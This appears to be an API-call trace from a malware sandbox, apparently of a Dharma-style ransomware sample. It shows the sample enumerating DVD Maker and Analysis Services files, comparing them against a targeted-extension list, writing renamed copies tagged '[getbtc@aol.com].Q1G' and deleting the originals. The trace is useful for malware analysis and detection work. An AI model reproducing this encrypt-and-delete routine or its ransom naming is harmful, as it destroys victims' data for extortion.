[0052.775] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.775] lstrlenW (lpString=".doc") returned 4 [0052.775] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.775] lstrlenW (lpString=".docx") returned 5 [0052.775] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.775] lstrlenW (lpString=".pdf") returned 4 [0052.775] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.775] lstrlenW (lpString=".xls") returned 4 [0052.775] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.775] lstrlenW (lpString=".xlsx") returned 5 [0052.775] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.775] lstrlenW (lpString=".ppt") returned 4 [0052.775] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.776] lstrlenW (lpString=".zip") returned 4 [0052.776] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.776] lstrlenW (lpString=".rar") returned 4 [0052.776] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.776] lstrlenW (lpString=".bz2") returned 4 [0052.776] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.776] lstrlenW (lpString=".7z") returned 3 [0052.776] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.776] lstrlenW (lpString=".dbf") returned 4 [0052.776] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.776] lstrlenW (lpString=".1cd") returned 4 [0052.776] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.776] lstrlenW (lpString=".jpg") returned 4 [0052.776] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.776] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.776] lstrlenW (lpString="Pets_frame-border.png") returned 21 [0052.776] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.776] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=13239) returned 1 [0052.776] CloseHandle (hObject=0x198) returned 1 [0052.776] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0052.777] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.777] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.777] lstrlenW (lpString=".doc") returned 4 [0052.777] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.777] lstrlenW (lpString=".docx") returned 5 [0052.777] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0052.777] lstrlenW (lpString=".pdf") returned 4 [0052.777] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.777] lstrlenW (lpString=".xls") returned 4 [0052.777] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.777] lstrlenW (lpString=".xlsx") returned 5 [0052.777] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0052.777] lstrlenW (lpString=".ppt") returned 4 [0052.777] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.777] lstrlenW (lpString=".zip") returned 4 [0052.777] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.777] lstrlenW (lpString=".rar") returned 4 [0052.777] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.777] lstrlenW (lpString=".bz2") returned 4 [0052.777] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.777] lstrlenW (lpString=".7z") returned 3 [0052.777] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.777] lstrlenW (lpString=".dbf") returned 4 [0052.777] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.777] lstrlenW (lpString=".1cd") returned 4 [0052.777] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.777] lstrlenW (lpString=".jpg") returned 4 [0052.777] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.778] lstrlenW (lpString=".doc") returned 4 [0052.778] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.778] lstrlenW (lpString=".docx") returned 5 [0052.778] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0052.778] lstrlenW (lpString=".pdf") returned 4 [0052.778] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.778] lstrlenW (lpString=".xls") returned 4 [0052.778] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.778] lstrlenW (lpString=".xlsx") returned 5 [0052.778] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0052.778] lstrlenW (lpString=".ppt") returned 4 [0052.778] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.778] lstrlenW (lpString=".zip") returned 4 [0052.778] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.778] lstrlenW (lpString=".rar") returned 4 [0052.778] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.778] lstrlenW (lpString=".bz2") returned 4 [0052.778] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.778] lstrlenW (lpString=".7z") returned 3 [0052.778] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.778] lstrlenW (lpString=".dbf") returned 4 [0052.778] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.778] lstrlenW (lpString=".1cd") returned 4 [0052.778] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0052.778] lstrlenW (lpString=".jpg") returned 4 [0052.778] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.779] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.779] lstrlenW (lpString="Pets_frame-highlight.png") returned 24 [0052.779] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.779] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=5761) returned 1 [0052.779] CloseHandle (hObject=0x198) returned 1 [0052.779] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0052.779] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.779] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.779] lstrlenW (lpString=".doc") returned 4 [0052.779] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.779] lstrlenW (lpString=".docx") returned 5 [0052.779] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.779] lstrlenW (lpString=".pdf") returned 4 [0052.779] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.779] lstrlenW (lpString=".xls") returned 4 [0052.779] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.779] lstrlenW (lpString=".xlsx") returned 5 [0052.779] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.779] lstrlenW (lpString=".ppt") returned 4 [0052.779] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString=".zip") returned 4 [0052.780] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.780] lstrlenW (lpString=".rar") returned 4 [0052.780] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.780] lstrlenW (lpString=".bz2") returned 4 [0052.780] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.780] lstrlenW (lpString=".7z") returned 3 [0052.780] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString=".dbf") returned 4 [0052.780] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString=".1cd") returned 4 [0052.780] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString=".jpg") returned 4 [0052.780] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString=".doc") returned 4 [0052.780] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.780] lstrlenW (lpString=".docx") returned 5 [0052.780] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.780] lstrlenW (lpString=".pdf") returned 4 [0052.780] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.780] lstrlenW (lpString=".xls") returned 4 [0052.780] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.780] lstrlenW (lpString=".xlsx") returned 5 [0052.780] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.780] lstrlenW (lpString=".ppt") returned 4 [0052.780] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.780] lstrlenW (lpString=".zip") returned 4 [0052.780] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.781] lstrlenW (lpString=".rar") returned 4 [0052.781] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.781] lstrlenW (lpString=".bz2") returned 4 [0052.781] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.781] lstrlenW (lpString=".7z") returned 3 [0052.781] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.781] lstrlenW (lpString=".dbf") returned 4 [0052.781] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.781] lstrlenW (lpString=".1cd") returned 4 [0052.781] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0052.781] lstrlenW (lpString=".jpg") returned 4 [0052.781] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.781] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.781] lstrlenW (lpString="Pets_frame-imageMask.png") returned 24 [0052.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.782] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=8169) returned 1 [0052.782] CloseHandle (hObject=0x198) returned 1 [0052.782] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0052.782] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.782] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.782] lstrlenW (lpString=".doc") returned 4 [0052.782] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.782] lstrlenW (lpString=".docx") returned 5 [0052.782] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0052.782] lstrlenW (lpString=".pdf") returned 4 [0052.782] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.782] lstrlenW (lpString=".xls") returned 4 [0052.782] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.782] lstrlenW (lpString=".xlsx") returned 5 [0052.782] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0052.782] lstrlenW (lpString=".ppt") returned 4 [0052.783] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.783] lstrlenW (lpString=".zip") returned 4 [0052.783] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.783] lstrlenW (lpString=".rar") returned 4 [0052.783] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.783] lstrlenW (lpString=".bz2") returned 4 [0052.783] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.783] lstrlenW (lpString=".7z") returned 3 [0052.783] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.783] lstrlenW (lpString=".dbf") returned 4 [0052.783] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.783] lstrlenW (lpString=".1cd") returned 4 [0052.783] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.783] lstrlenW (lpString=".jpg") returned 4 [0052.783] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.783] lstrlenW (lpString=".doc") returned 4 [0052.783] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.783] lstrlenW (lpString=".docx") returned 5 [0052.783] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0052.783] lstrlenW (lpString=".pdf") returned 4 [0052.783] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.783] lstrlenW (lpString=".xls") returned 4 [0052.783] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.783] lstrlenW (lpString=".xlsx") returned 5 [0052.783] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0052.783] lstrlenW (lpString=".ppt") returned 4 [0052.783] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.784] lstrlenW (lpString=".zip") returned 4 [0052.784] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.784] lstrlenW (lpString=".rar") returned 4 [0052.784] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.784] lstrlenW (lpString=".bz2") returned 4 [0052.784] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.784] lstrlenW (lpString=".7z") returned 3 [0052.784] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.784] lstrlenW (lpString=".dbf") returned 4 [0052.784] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.784] lstrlenW (lpString=".1cd") returned 4 [0052.784] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0052.784] lstrlenW (lpString=".jpg") returned 4 [0052.784] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.784] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.784] lstrlenW (lpString="Pets_frame-shadow.png") returned 21 [0052.784] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.784] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=25662) returned 1 [0052.784] CloseHandle (hObject=0x198) returned 1 [0052.784] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0052.785] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.785] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned 70 [0052.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned 70 [0052.785] lstrlenW (lpString=".doc") returned 4 [0052.785] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.785] lstrlenW (lpString=".docx") returned 5 [0052.785] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0052.785] lstrlenW (lpString=".pdf") returned 4 [0052.785] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.785] lstrlenW (lpString=".xls") returned 4 [0052.785] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.785] lstrlenW (lpString=".xlsx") returned 5 [0052.785] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0052.785] lstrlenW (lpString=".ppt") returned 4 [0052.785] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned 70 [0052.785] lstrlenW (lpString=".zip") returned 4 [0052.785] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.785] lstrlenW (lpString=".rar") returned 4 [0052.785] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.785] lstrlenW (lpString=".bz2") returned 4 [0052.785] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.785] lstrlenW (lpString=".7z") returned 3 [0052.785] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned 70 [0052.785] lstrlenW (lpString=".dbf") returned 4 [0052.785] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0054.342] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.342] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.343] GetLastError () returned 0x0 [0054.343] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x78e4, lpOverlapped=0x0) returned 1 [0054.372] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0054.380] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.380] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.380] SetEndOfFile (hFile=0x1fc) returned 1 [0054.380] CloseHandle (hObject=0x1fc) returned 1 [0054.380] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.380] SetEndOfFile (hFile=0x1d0) returned 1 [0054.381] CloseHandle (hObject=0x1d0) returned 1 [0054.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0054.382] lstrlenW (lpString="C:\\Program Files\\Microsoft 